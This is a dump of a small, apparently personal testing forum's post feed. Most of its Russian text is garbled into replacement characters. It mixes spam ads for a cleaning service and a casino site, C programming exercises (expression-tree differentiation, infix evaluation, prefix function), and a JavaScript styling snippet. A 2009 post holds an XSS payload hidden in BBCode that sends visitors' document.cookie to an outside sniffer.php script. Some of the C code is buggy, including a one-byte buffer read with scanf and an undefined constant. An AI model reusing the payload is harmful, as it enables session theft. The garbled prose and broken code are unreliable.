Vuvko's Testing Forum

��

mybb@mybb.ru (wikofsnajb) — Sat, 30 Dec 2023 17:15:51 +0300

��  �� : �� , ��, ��, �� , �� , �� + �� . �� -�� , ��, �� . �� . +7 915 204 1047 �� : t.me/wwcleaning �� , ��: ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, �� , ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, �� ✅ �� ✅ �� ✅ �� ✅ �� ✅ �� ✅ �� ✅ �� ✅ �� ✅ �� ✅ �� +�� ✅ �� +� �� ✅ �� +� �� ✅ �� ✅ �� ✅ �� ✅ �� ✅ �� . +7 915 204 1047 �� : https://t.me/wwcleaning ��: https://wa.me/79152041047 ��

��

mybb@mybb.ru (wikofsnajb) — Sun, 22 Oct 2023 12:02:16 +0300

�� : �� , ��, ��, �� , �� , �� + �� . �� -�� , ��, �� . �� . +7 915 204 1047 �� : t.me/wwcleaning �� , ��: ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, �� , ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, ��, �� ✅�� ✅�� ✅�� ✅�� ✅�� ✅�� ✅�� ✅�� ✅�� ✅�� +�� ✅�� +� �� ✅�� +� �� ✅�� ✅�� ✅�� ✅�� ✅�� . +7 915 204 1047 �� : https://t.me/wwcleaning ��: https://wa.me/79152041047 ��: https://is.gd/6HTT8X

�� 2023�

mybb@mybb.ru (wikofsnajb) — Mon, 17 Apr 2023 01:58:22 +0300

�� 2023�! http://rouletka.top/ �� . �� : https://is.gd/i5L5KE

task6

mybb@mybb.ru (vuvko) — Thu, 12 May 2011 18:57:09 +0400

http://depositfiles.com/files/1um0nkde9

Last C

mybb@mybb.ru (vuvko) — Wed, 16 Feb 2011 23:24:55 +0300

��:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

enum{
    VARIABLE = 'X'
};

typedef struct TreeNode{
    struct TreeNode *left;
    struct TreeNode *right;
    char op;
    int num;
} TreeNode;

void freetree(TreeNode *tree)
{
    if(!tree) return;
    freetree(tree->left);
    freetree(tree->right);
    free(tree);
}

void tree_to_func(TreeNode *tree)
{
    if(!tree) return;
    if(tree->op == VARIABLE)
        printf("%c", VARIABLE);
    else if(tree->op == 'n')
        printf("%d", tree->num);
    else {
        printf("(");
        tree_to_func(tree->left);
        printf("%c", tree->op);
        tree_to_func(tree->right);
        printf(")");
    }
}

int is_operation(char c)
{
    return (c == '+' || c == '-' || c == '*');
}

TreeNode *func_to_tree(char *str, int *i, int l)
{
    if(*i > l) return NULL;
    TreeNode *n_left = malloc(sizeof(TreeNode));
    TreeNode *n_right= malloc(sizeof(TreeNode));
    TreeNode *node = malloc(sizeof(TreeNode));
    n_left->left = NULL;
    n_left->right = NULL;
    n_right->left = NULL;
    n_right->right = NULL;
    node->left = NULL;
    node->right = NULL;
    node->num = 0;
    (*i)++;
    if(str[*i - 1] == '(')
       n_left = func_to_tree(str, i, l);
    else if(str[*i - 1] == VARIABLE){
        n_left->op = VARIABLE;
        n_left->num = 0;
    } else if(str[*i - 1] <= '9' && str[*i - 1] >= '0'){
        n_left->op = 'n';
        n_left->num = str[*i - 1] - '0';
    } else {
        free(n_left);
        free(n_right);
        free(node);
        return NULL;
    }
    if(!is_operation(str[*i])) {
        free(n_left);
        free(n_right);
        free(node);
        return NULL;
    }
    node->op = str[*i];
    (*i)+=2;
    if(str[*i - 1] == '(')
       n_right = func_to_tree(str, i, l);
    else if(str[*i - 1] == VARIABLE){
        n_right->op = VARIABLE;
        n_right->num = 0;
    } else if(str[*i - 1] <= '9' && str[*i - 1] >= '0'){
        n_right->op = 'n';
        n_right->num = str[*i - 1] - '0';
    } else {
        free(n_left);
        free(n_right);
        free(node);
        return NULL;
    }
    if(n_left == NULL || n_right == NULL){
        free(n_left);
        free(n_right);
        free(node);
        return NULL;
    }
    (*i)++;
    node->left = n_left;
    node->right = n_right;
    return node;
}

TreeNode *copy(TreeNode *func)
{
    if(!func) return NULL;
    TreeNode *buf = malloc(sizeof(TreeNode));
    buf->op = func->op;
    buf->num = func->num;
    buf->left = copy(func->left);
    buf->right = copy(func->right);
    return buf;
}

TreeNode *deriv(TreeNode *func)
{
    if(!func || func->op == 0) return NULL;
    TreeNode *buf1 = NULL, *buf2 = NULL;
    switch (func->op){
        case VARIABLE:
            buf1 = malloc(sizeof(TreeNode));
            buf1->op = 'n';
            buf1->num = 1;
            buf1->left = NULL;
            buf1->right = NULL;
            break;
        case 'n':
            buf1 = malloc(sizeof(TreeNode));
            buf1->op = 'n';
            buf1->num = 0;
            buf1->left = NULL;
            buf1->right = NULL;
            break;
        case '+':
            buf1 = malloc(sizeof(TreeNode));
            buf1->op = '+';
            buf1->num = 0;
            buf1->left = deriv(func->left);
            buf1->right = deriv(func->right);
            break;
        case '-':
            buf1 = malloc(sizeof(TreeNode));
            buf1->op = '-';
            buf1->num = 0;
            buf1->left = deriv(func->left);
            buf1->right = deriv(func->right);
            break;
        case '*':
            buf1 = malloc(sizeof(TreeNode));
            buf2 = malloc(sizeof(TreeNode));
            buf2->op = '*';
            buf2->num = 0;
            buf2->left = deriv(func->left);
            buf2->right = copy(func->right);
            buf1->op = '+';
            buf1->num = 0;
            buf1->left = buf2;
            buf2 = malloc(sizeof(TreeNode));
            buf2->op = '*';
            buf2->num = 0;
            buf2->left = copy(func->left);
            buf2->right = deriv(func->right);
            buf1->right = buf2;
            break;
        default: return NULL;
    }
    return buf1;
}

int
main(void)
{
    TreeNode *root = NULL;
    char *str = malloc(sizeof(char));
    int length;
    int *i = malloc(sizeof(int));
    *i = 1;
    scanf("%s", str);
    length = strlen(str);
    root = NULL;
    root = func_to_tree(str, i, length);
    if(!root || *i != length){
        printf("Impossible...\n");
        return 0;
    }
    printf("\n");
    tree_to_func(root);
    TreeNode *derivroot = deriv(root);
    printf("\nderiv:\n");
    tree_to_func(derivroot);
    printf("\n");
    freetree(root);
    freetree(derivroot);
    return 0;
}

�� (07)

mybb@mybb.ru (vuvko) — Sun, 12 Dec 2010 14:06:32 +0300

�� 07-6-b: �� 

�� .

��:

#include <stdio.h>
#include <stdlib.h>

typedef struct Node{
    long long int num;
    char op;
} Node;

typedef struct StackNode{
    struct StackNode *next;
    Node elem;
} StackNode;

void
freelist(StackNode *head)
{
    if(head){
        freelist(head->next);
        free(head);
    }
}

long long int
readnum(FILE *input, char *c)
{
    long long int num = *c - '0';
    while((*c = fgetc(input)) >= '0' && *c <= '9'){
        num = num * 10 + *c - '0';
    }
    return num;
}

int
priority(char op)
{
    if(op == '+' || op =='-')
        return 1;
    else if(op == '*' || op == '/')
        return 2;
}

long long int
count(StackNode *stack)
{
    StackNode *cur = stack->next;
    long long int res = 0, tmp = 0;
    switch (cur->elem.op){
        case '+':
            res = count(cur) + count(cur);
            stack->next = cur->next;
            break;
        case '-':
            tmp = count(cur);
            res = count(cur) - tmp;
            stack->next = cur->next;
            break;
        case '*':
            res = count(cur) * count(cur);
            stack->next = cur->next;
            break;
        case '/':
            tmp = count(cur);
            res = count(cur) / tmp;
            stack->next = cur->next;
            break;
        default:
            res = cur->elem.num;
            stack->next = cur->next;
            break;
    }
    return res;
}

int
main(void)
{
    FILE *input = fopen("input.txt", "r");
    FILE *output = fopen("output.txt", "w");
    StackNode *stack, *opstack, *bottom, *opbot, *tmp = NULL, *buf = NULL;
    char c, fl = 1, op;
    long long int num;
    stack = (StackNode*)malloc(sizeof(StackNode));
    stack->next = NULL;
    stack->elem.op = '#';
    stack->elem.num = 0;
    bottom = stack;
    opstack = (StackNode*)malloc(sizeof(StackNode));
    opstack->next = NULL;
    opstack->elem.op = '#';
    opstack->elem.num = 0;
    opbot = opstack;
    c = fgetc(input);
    while(c != EOF){
        fl = 1;
        while(c == ' ')
            c = fgetc(input);
        op = c;
        num = 0;
        if(c >= '0' && c <= '9'){
            num = readnum(input, &c);
            op = 'n';
            if(c != ' ')
                fl = 0;
        }
        tmp = (StackNode*)malloc(sizeof(StackNode));
        tmp->next = NULL;
        tmp->elem.op = op;
        tmp->elem.num = num;

        if(op == 'n'){
            tmp->next = stack;
            stack = tmp;
        } else if(op == '('){
            tmp->next = opstack;
            opstack = tmp;
        } else if(op == ')'){
            while(opstack->elem.op != '('){
                buf = opstack->next;
                opstack->next = stack;
                stack = opstack;
                opstack = buf;
            }
            free(tmp);
            opstack = opstack->next;
        } else {
            while(priority(op) <= priority(opstack->elem.op)){
                buf = opstack->next;
                opstack->next = stack;
                stack = opstack;
                opstack = buf;
            }
            tmp->next = opstack;
            opstack = tmp;
        }
        if(fl)
            c = fgetc(input);
    }
    while(opstack){
        buf = opstack->next;
        opstack->next = stack;
        stack = opstack;
        opstack = buf;
    }
    num = count(stack);
    fprintf(output, "%lld\n", num);
    fclose(input);
    fclose(output);
    freelist(stack);
    return 0;
}

�� (06)

mybb@mybb.ru (vuvko) — Tue, 16 Nov 2010 15:51:44 +0300

�� .
�� - � ��, ��.

�� . ��, � �� , �� ...

�� (05)

mybb@mybb.ru (vuvko) — Tue, 09 Nov 2010 20:53:46 +0300

�� 05-1-b-�� 

��, �� -�� , �� , �� , �� . �� , �� , �� "��" �� . �� , �� , �� , �� .

��:

#include <stdio.h>
#include <stdlib.h>

enum{
    MAX_LEN = 1000001
};

int
prefix (char *s)
{
    int i, k = 0;
    char p[2 * MAX_LEN];
    p[0] = 0;
    for(i = 1; s[i]; i++){
        while(k > 0 && s[k] != s[i]){
            k = p[k - 1];
        }
        if(s[k] == s[i]){
            k++;
        }
        p[i] = k;
    }
    return p[i - 1];
}

int
main(void)
{
    char s1[MAX_LEN], s2[MAX_LEN], s[2 * MAX_LEN], c;
    int i, j;
    for(i = 0; (c = getchar()) != '\n'; i++){
        s1[i] = c;
        s[i] = c;
    }
    int len1 = i;
    s1[len1] = 0;
    s[len1] = ' ';
    for(j = 0; (c = getchar()) != '\n'; j++){
        s2[j] = c;
        s[len1 + 1 + j] = c;
    }
    int len2 = j;
    s2[len2] = 0;
    s[len1 + 1 + len2] = 0;
    printf("%d ", prefix(s));
    for(i = 0; s2[i]; i++){
        s[i] = s2[i];
    }
    s[len2] = ' ';
    for(j = 0; s1[j]; j++){
        s[len2 + 1 + j] = s1[j];
    }
    s[len1 + 1 + len2] = 0;
    printf("%d\n", prefix(s));
    return 0;
}

�� (04)

mybb@mybb.ru (vuvko) — Mon, 01 Nov 2010 22:27:18 +0300

�� (��, �� 8, 9).
�� - � ��, ��.

�� . ��, � �� , �� ...

�� 15.09.2010

mybb@mybb.ru (vuvko) — Tue, 14 Sep 2010 20:10:40 +0400

�� 7

�� , �� 32000. �� , �� , � �� (�, �).

��:

#include <stdio.h>

enum {
    MAX_COORD_MOD = 32000
};

int main()
{
    int x,y;
    while (scanf("%d%d", &x, &y) == 2) {
        if (x > MAX_COORD_MOD || y > MAX_COORD_MOD || x < -COORD_MOD || y < -COORD_MOD) {
            printf("Invalid parameters\n");
        } else {
            if (y > 0) {
                if (x > 0) printf("The first quater\n");
                else printf("The second quater\n");
            } else {
                if (x > 0) printf("The fouth quater\n");
                else printf("The third quater\n");
            }
        }
    }
    return 0;
}

red;;��

mybb@mybb.ru (vuvko) — Mon, 02 Aug 2010 17:44:14 +0400

��

mybb@mybb.ru (vuvko) — Thu, 29 Jul 2010 13:37:43 +0400

[Inst=4+5+3+1+39292+18060]

��

mybb@mybb.ru (vuvko) — Wed, 23 Jun 2010 04:07:09 +0400

��
�� html-��

<script type="text/javascript">
theTime = new Date();
Hour = theTime.getHours();
TimeCss = new Array();
TimeCss[1] = '';
TimeCss[2] = '<style>\
BODY {background-color:#121212;}\
</style>';
TimeCss[3] = '<style>\
BODY {background-color:#000;}\
</style>';

if((Hour>=0 && Hour<6)|| Hour>21) document.write(TimeCss[3]);
else if(Hour>=6 && Hour<9) document.write(TimeCss[2]);
else document.write(TimeCss[1]);
</script>

��, �� , �� .
�� .
�� (�� css ��). �� , �� :

TimeCss.Push('Css-��')

��

TimeCss[�� ] = 'Css-��';

�� Css-�� . �� , �� "��": �� (�� "Enter") �� ( \ ).
�� , �� (�� else document.write(TimeCss[1]); )

else if(Hour>=�� && Hour<��) document.write(TimeCss[�� ]);

� ��, �� , �� css-��, �� "��" html-��.

��

mybb@mybb.ru (vuvko) — Thu, 23 Apr 2009 17:33:41 +0400

www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(th is.sss));'sss=`i=new/**/Image();i.src='http://baba/sniffer.php?c='+document.cookie;this.sss=null`styl e='font-size:0;][/url]'
KJLWJGLKJEBKGJ

��

mybb@mybb.ru (vuvko) — Wed, 15 Apr 2009 17:04:43 +0400

...

��

mybb@mybb.ru (vuvko) — Wed, 15 Apr 2009 17:02:20 +0400

...

Vuvko's Testing Forum

����� ������

������ �������� ������ � ��

������� ������� 2023�

task6

Last C

����� � ��������� ������ (07)

����������� ������� � ��������� (06)

������ (05)

������� (04)

������� �� 15.09.2010

red;;������� ����

����

�������� ��������

�������� ���������

�����

����� ����

��

��

�� 2023�

�� (07)

�� (06)

�� (05)

�� (04)

�� 15.09.2010

red;;��

��

��

��

��

��